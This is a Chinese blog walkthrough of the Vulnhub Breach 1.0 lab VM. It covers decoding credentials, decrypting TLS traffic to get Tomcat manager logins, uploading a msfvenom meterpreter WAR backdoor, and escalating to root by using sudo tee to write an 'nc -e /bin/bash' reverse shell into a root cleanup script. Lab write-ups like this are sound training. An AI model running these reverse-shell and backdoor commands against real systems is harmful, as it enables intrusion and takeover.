Vulnhub实战靶场:Breach 1.0

一、环境搭建

1、官网下载链接:https://www.vulnhub.com/entry/breach-1,152/

2、下载下载之后,使用Oracle VM VirtualBox,导入环境

3、启动虚拟机,因为靶场虚机配置有静态IP地址(192.168110 140),需要将虚拟机网卡设置为host-only仅主机的方式。为了方便练习,我将kali攻击机,添加了一块虚拟网卡,第二块网卡设置的网段跟虚拟机同一网段。

kali虚拟机网络

二、攻略步骤

1、因为知道了靶场环境的ip地址,所以可以直接使用nmap扫描端口,查询突破口,但是扫描之后发现端口全是打开的,显然是做了防端口扫描

2、根据靶场规律,直接访问ip地址,发现有http服务

3、查看首页源码,发现有一串Base64加密的字符串

base64编码后的字符串的长度一定会被4整除,包括用作后缀的等号吧;如果明文字符数不能被3整除,余1时,1个字符转为2个,补2个等号,共4个字符;余2时,2个字符转为3个字符,补1个等号,共4个字符;其实归根结底就是一句话:经过base64编码后的字符串长度一定会被4整除(包括后缀等号)
1)标准base64只有64个字符(英文大小写、数字和+、/)以及用作后缀等号;
2)base64是把3个字节变成4个可打印字符,所以base64编码后的字符串一定能被4整除(不算用作后缀的等号);
3)等号一定用作后缀,且数目一定是0个、1个或2个。这是因为如果原文长度不能被3整除,base64要在后面添加\0凑齐3n位。为了正确还原,添加了几个\0就加上几个等号。显然添加等号的数目只能是0、1或2;
4)严格来说base64不能算是一种加密,只能说是编码转换。使用base64的初衷。是为了方便把含有不可见字符串的信息用可见字符串表示出来,以便复制粘贴;

4、使用命令 echo Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo | base64 -d,解密

 

解密之后,还是一串base64的字符,再次解密,得到一串明文字符:pgibbons:damnitfeel$goodtobeagang$ta,暂时不知道作用,记下来

5、源码里有个地址,点开访问,发现另外的页面

 

6、打开Employee portal,进入到impresscms的登录界面

 

7、使用之前base64节解密出来的账号密码登录成功

8、使用命令,searchsploit impresscms,找到impresscms的/modules/profile/admin/field.php文件存在SQL注入漏洞,想要利用,但是发现没有权限访问该文件

 

9、看到有3个邮件消息,看是否有提示信息

第1封邮件,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全,发自ImpressCMS Admin Bill,如下:

image.png

第2封邮件,主要内容:Michael采购了IDS/IPS。

image.png

第3封邮件,主要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore

image.png

10、根据邮件提示,到下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式,下载下来保存好

 

11、在左侧菜单一个个点开,发现目录列表,但是找不到可以利用的文件

12、点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接Content SSL implementation test capture,点击链接,如下图:

image.png

 13、点开提示的,http://192.168.110.140/impresscms/modules/content/content.php?content_id=1,发现一个流量包文件,下载下来

 

14、该页面有重要的提示信息:这个pCAP文件是有红色团队的重新攻击产生的,但是不能读取文件。而且They told me the alias, storepassword and keypassword are all set to 'tomcat'别名、Keystore密码、key密码都设置成tomcat。由此推测:1)这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码;2)系统中可能存在tomcat。

15、接下来要使用keytool生成ssl加密证书

在下载了keystore文件的目录中打开终端,输入命令:keytool -list -keystore keystore,输入口令tomcat,查看keystore密钥库中的证书

接下来,从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书,输入命令:keytool -importkeystore -srckeystore keystore  -destkeystore tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat

 

16、将生成的tomcatkeystore.p12证书,导入wireshark

1)使用wireshark打开下载的_SSL_test_phase1.pcap文件

2)点击编辑--首选项--Protocols--TLS,点击Edit编辑,IPaddress填写192.168.110.140,Port填写8443,Protocol填写http,Key File选择生成的tomcatkeystore.p12文件,Password填写tomcat

3)编辑好之后,看到下边TlsV1.2加密的部分,发现有疑似图片马,命令执行的数据包

17、分析浏览量数据包,发现一个Unauthorized的认证包,该request和response包含了Tomcat后台的登录地址:https://192.168.110.140:8443/_M@nag3Me/html

发现包含登录用户名密码的数据包, 采用http basic认证,认证数据包为:Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC,展开,看到明文的账号密码,用户名:tomcat,密码:Tt\5D8F(#!*u=G)4m7zB

18、利用获取到的信息来getshell,首先登录tomcat后台

1)访问https://192.168.110.140:8443/_M@nag3Me/html,发现提示建立连接失败

 2)打开Burpsuite,使用BP进行代理,将BP的代理模式关闭,让数据包自动放行,再次访问,出现的界面就不相同了,选择接受风险,出现tomcat登录窗口,输入之前得到的账号密码,登录成功

 

 19、使用msfvenom生成后门文件,输入命令:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.122 LPORT=1234 -f jsp -o shell.jsp

将shell.jsp进行压缩,输入命令:zip -r shell.zip shell.jsp

 

将shell.zip转化成war格式,用来上传到tomcat,输入命令:cp shell.zip shell.war

 

20、启动msfconsole,设置监听

输入命令: use exploit/multi/handler,进入监听要利用的exp

输入命令:set payload linux/x64/meterpreter/reverse_tcp,设置执行生成脚本使用的payload

输入命令:set lhost,设置生成后门时候设置的ip地址

输入命令:set lport,设置生成后门时候设置的监听端口

输入命令:run,开始监听

21、在tomcat管理界面,将生成是shell.war后门上传

上传之后,点击上传的源码,访问到生成的后门文件路径

访问https://192.168.110.140:8443/shell/shell.jsp,在msf下顺利拿到shell

 

 

22、执行命令,python -c 'import pty;pty.spawn("/bin/sh")' 得到一个交互式的shell

23、开始收集靶机内信息,想办法提权,看到两个值得关注的账户

在/var/www/5446目录下,看到两个文件名很特殊的文件

 

查看文件,发现是mysql的数据库连接文件,使用的root账户,不需要密码

24、输入命令,mysql  -u root -p ,进入mysql,提示输入密码,直接回车,成功连接进入mysql数据库,查看账号密码,得到milton账户的密码哈希,解密为:thelaststraw

 

25、退出mysql,使用命令,su milton,输入密码,成功登录milton账户

26、账户milton目录下,发现的some_script.sh脚本,没有可利用的地方

26、查看系统内核,uname -a,得知内核版本为Linux Breach 4.2.0-27-generic 

查看历史命令,发现有切换到blumbergh这个账户的操作,操作之后有切换到root的操作,所以可能提权要进入到blumbergh这个账户

27、继续收集信息,http://192.168.110.140/images/,目录下找到6张图片,milton用户目录下,发现1张图片

28、使用exiftool工具,查看图片,输入命令:exiftool bill.png ,发现密码:coffeestains

29、切换到blumbergh账户,输入之前图片中得到的密码,切换成功

进入blumbergh目录下,查看blumbergh账户的历史命令,发现/usr/share/cleanup目录下的,tidyup.sh脚本文件

 

 一样进入目录,查看脚本,为root账户才能读写的,用来清理删除webapps目录下的文件的脚本

30、输入命令:sudo -l,查看能够root权限执行的命令有tee

31、进行最后一步的提权

tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:

cd /home/blumbergh,切换到blumbergh的家目录中,

echo "nc -e /bin/bash 192.168.110.122 2345" > shell.txt,将nc执行的反弹shell命令,写入到shell.txt文件

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh,使用tee命令将shell.txt内容输出到tidyup.sh

查看tidyup.sh文件写入成功:

32、kali攻击机中,输入命令:nc -lvvp 2345,监听2345端口的动静,等到一段时间,成功接到root的shell

33、查看/root目录下,有个flair.jpg的文件,应该是最后的flag,将文件再次复制到/var/www/html/images中,查看图片,成功得到flag

 完

posted @ 2020-09-03 10:19  bonga  阅读(1082)  评论(0编辑  收藏  举报